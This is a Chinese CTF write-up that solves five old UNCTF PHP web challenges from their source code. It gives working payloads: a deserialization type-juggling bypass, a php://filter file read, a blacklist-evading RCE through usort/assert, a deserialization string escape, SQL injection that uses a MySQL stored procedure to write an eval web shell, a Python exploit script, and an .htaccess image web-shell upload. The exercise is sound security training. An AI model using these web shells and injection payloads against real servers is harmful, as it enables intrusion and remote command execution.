unctf练习1

前言

unctf的平台上还有前两年的赛题,本着不做白不做的精神,我们做一下。

ezphp

审计源码:

1
2
3
4
5
6
7
8
9
10
11
12
<?php
show_source(__FILE__);
$username = "admin";
$password = "password";
include("flag.php");
$data = isset($_POST['data'])? $_POST['data']: "" ;
$data_unserialize = unserialize($data);
if ($data_unserialize['username']==$username&&$data_unserialize['password']==$password){
echo $flag;
}else{
echo "username or password error!";
}

我们要送一个序列化数组进去,但是要让username的值为admin,password的值为password。直接构造这个数组序列化是通不过的,因为反序列化的结果就是个Array。

这里要运用到布尔的trick,bool类型的true跟任意字符串可以弱类型相等。因此我们可以构造bool类型的序列化数据 ,无论比较的值是什么,结果都为true。

因此构建payload:

1
data=a:2:{s:8:"username";b:1;s:8:"password";b:1;}

传入得到flag。

L0vephp

进入网页提示我们查看源码,右键被ban就f12,发现:B4Z0-@:OCnDf,

测试下是base85,解出来是get action,但是没有源码出现,继续尝试任意文件读取:

1
2
?action=php://filter/read=string.toupper|string.rot13/resource=flag.php
//base64被过滤了

源码中发现出现了新内容:

1
2
3
4
5
6
?CUC

$SYNT = "HAPGS{7UVF_VF_@_S4XR_S1N9}";

//UVAG:316R4433782R706870
?

rot13解密:

1
2
3
4
5
6
?php

$flag = "unctf{7his_is_@_f4ke_f1a9}";

//hint:316e4433782e706870
?

hint中16进制转字符串:1nD3x.php

进入后这下要读源码了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
 <?php 


error_reporting(0);
show_source(__FILE__);
$code=$_REQUEST['code'];

$_=array('@','\~','\^','\&','\?','\<','\>','\*','\`','\+','\-','\'','\"','\\\\','\/');
$__=array('eval','system','exec','shell_exec','assert','passthru','array_map','ob_start','create_function','call_user_func','call_user_func_array','array_filter','proc_open');
$blacklist1 = array_merge($_);
$blacklist2 = array_merge($__);

if (strlen($code)>16){
die('Too long');
}

foreach ($blacklist1 as $blacklisted) {
if (preg_match ('/' . $blacklisted . '/m', $code)) {
die('WTF???');
}
}

foreach ($blacklist2 as $blackitem) {
if (preg_match ('/' . $blackitem . '/im', $code)) {
die('Sry,try again');
}
}

@eval($code);
?>

绕rce,除了waf还限制了长度,之前能用的方法基本是绝了。但是p牛之前有一篇博客:
eval长度限制绕过 && PHP5.6新特性

这篇博客里介绍了一个方法——数组展开,payload:

1
2
?1[]=test&1[]=system('ls');&2=assert
POST:code=usort(...$_GET);

最后命令执行获取flag。

easyunserialize

审计源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php
error_reporting(0);
highlight_file(__FILE__);

class a
{
public $uname;
public $password;
public function __construct($uname,$password)
{
$this->uname=$uname;
$this->password=$password;
}
public function __wakeup()
{
if($this->password==='easy')
{
include('flag.php');
echo $flag;
}
else
{
echo 'wrong password';
}
}
}

function filter($string){
return str_replace('challenge','easychallenge',$string);
}

$uname=$_GET[1];
$password=1;
$ser=filter(serialize(new a($uname,$password)));
$test=unserialize($ser);
?>

很经典的一道反序列化字符串逃逸,我们审计代码发现只要让password的值为easy就可以了,但是题目设置了变量password的值恒定为1,因此我们只能通过反序列化字符串逃逸的方式让password逃逸出来。

我们先构造密码部分需要逃逸的反序列化:

1
";s:8:"password";s:4:"easy";}

总共29个字符,接着发现源码中的替换逻辑是增加4个字符,因此需要进行8次替换,并且还需要补3位。不过由于反序列化结束后不会继续的原理,把这三位字符补到最后就可以了。

构建payload,传入获取flag:

1
challengechallengechallengechallengechallengechallengechallengechallenge";s:8:"password";s:4:"easy";}ook

checkin-sql

这题做的都麻了,看了wp才懂。首先这里是单引号sql,并且过滤了一众函数导致常用注入手段失效。题目提示我们flag不在数据库中,那很有可能就是文件写入了,但是我试图直接写马发现写不进去。

然后就歇了,看wp发现要利用到mysql的储存过程进行写入,先放两个地址在这:
MySQL 存储过程 | 菜鸟教程
MySQL存储过程 | 博客园

payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
$a = "1';
create procedure `mrl64`(out string text(1024), in hex text(1024))
BEGIN
SET string = hex;
END;
;#";
echo urlencode($a)."\n";
$b = "1';
call `mrl64`(@decoded, 0x73656c65637420273c3f706870206576616c28245f504f53545b226d726c3634225d293b203f3e2720696e746f206f757466696c6520222f7661722f7777772f68746d6c2f7368656c6c2e706870223b);
prepare payload from @decoded;
execute payload;
;#";
echo urlencode($b);
?>

//select '<?php eval($_POST["mrl64"]); ?>' into outfile "/var/www/html/shell.php";

接着写入就可以了,exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import requests


url = "http://844ce818-1804-499f-b859-ca599c2805c5.node1.hackingfor.fun/"
payload1 = "1'%3B%0D%0A%20%20%20%20create%20procedure%20%60mrl64%60(out%20string%20text(1024),%20in%20hex%20text(1024))%0D%0A%20%20%20%20BEGIN%0D%0A%20%20%20%20%20%20%20%20SET%20string%20%3D%20hex%3B%0D%0A%20%20%20%20END%3B%0D%0A%20%20%20%20%3B%23"
//传入mysql传入过程部分
payload2 = "1'%3B%0D%0A%20%20%20%20call%20%60mrl64%60(%40decoded,%200x73656c65637420273c3f706870206576616c28245f504f53545b226d726c3634225d293b203f3e2720696e746f206f757466696c6520222f7661722f7777772f68746d6c2f7368656c6c2e706870223b)%3B%0D%0A%20%20%20%20prepare%20payload%20from%20%40decoded%3B%0D%0A%20%20%20%20execute%20payload%3B%0D%0A%20%20%20%20%3B%23"
//写入shell.php,密码mrl64

data = {
"mrl64":"system('cat /fffllaagg');"
}


requests.get(url=url+"?inject="+payload1)
requests.get(url=url+"?inject="+payload2)


ans = requests.post(url+"shell.php",data=data)
print(ans.text)

跑脚本就可以得到flag。

babywrite

这个是2021那次的题,当时太菜了没做出来,这里就复现下。

审计代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
highlight_file(__FILE__);
$sandbox = md5($_SERVER['REMOTE_ADDR']);
if (!is_dir($sandbox)) {
mkdir($sandbox);
}
if (isset($_GET['filename']) && isset($_GET['content'])) {
$filename = $_GET['filename'];
$content = $_GET['content'];
if (preg_match_all("/ph|\.\.|\//i", $filename) || strlen($filename) > 10) {
die("No way!");
}
if (preg_match_all("/<\?|ph/", $content)) {
die("No way!");
}
$filename = $sandbox . "/" . $filename;
@file_put_contents($filename, $content);
echo $filename;
}

很经典的写入,很粗暴的waf,很卑鄙的限制长度。首先发现php文件是不能直接上传的,这意味着我们只能上传图片马,那上传图片马自然就想到要用到.htaccess

当时是真的菜,居然连数组绕过正则匹配都不知道,然后就卡在这了半天死活做不出来,现在懂了所以就简单了。

我们传入:

1
?filename=.htaccess&content[]=AddType application/x-httpd-php .png

然后传入shell:

1
?filename=1.png&content[]=<?php @eval($_POST['mrl64']);

最后直接rce就可以了:

1
mrl64=system('cat /flag');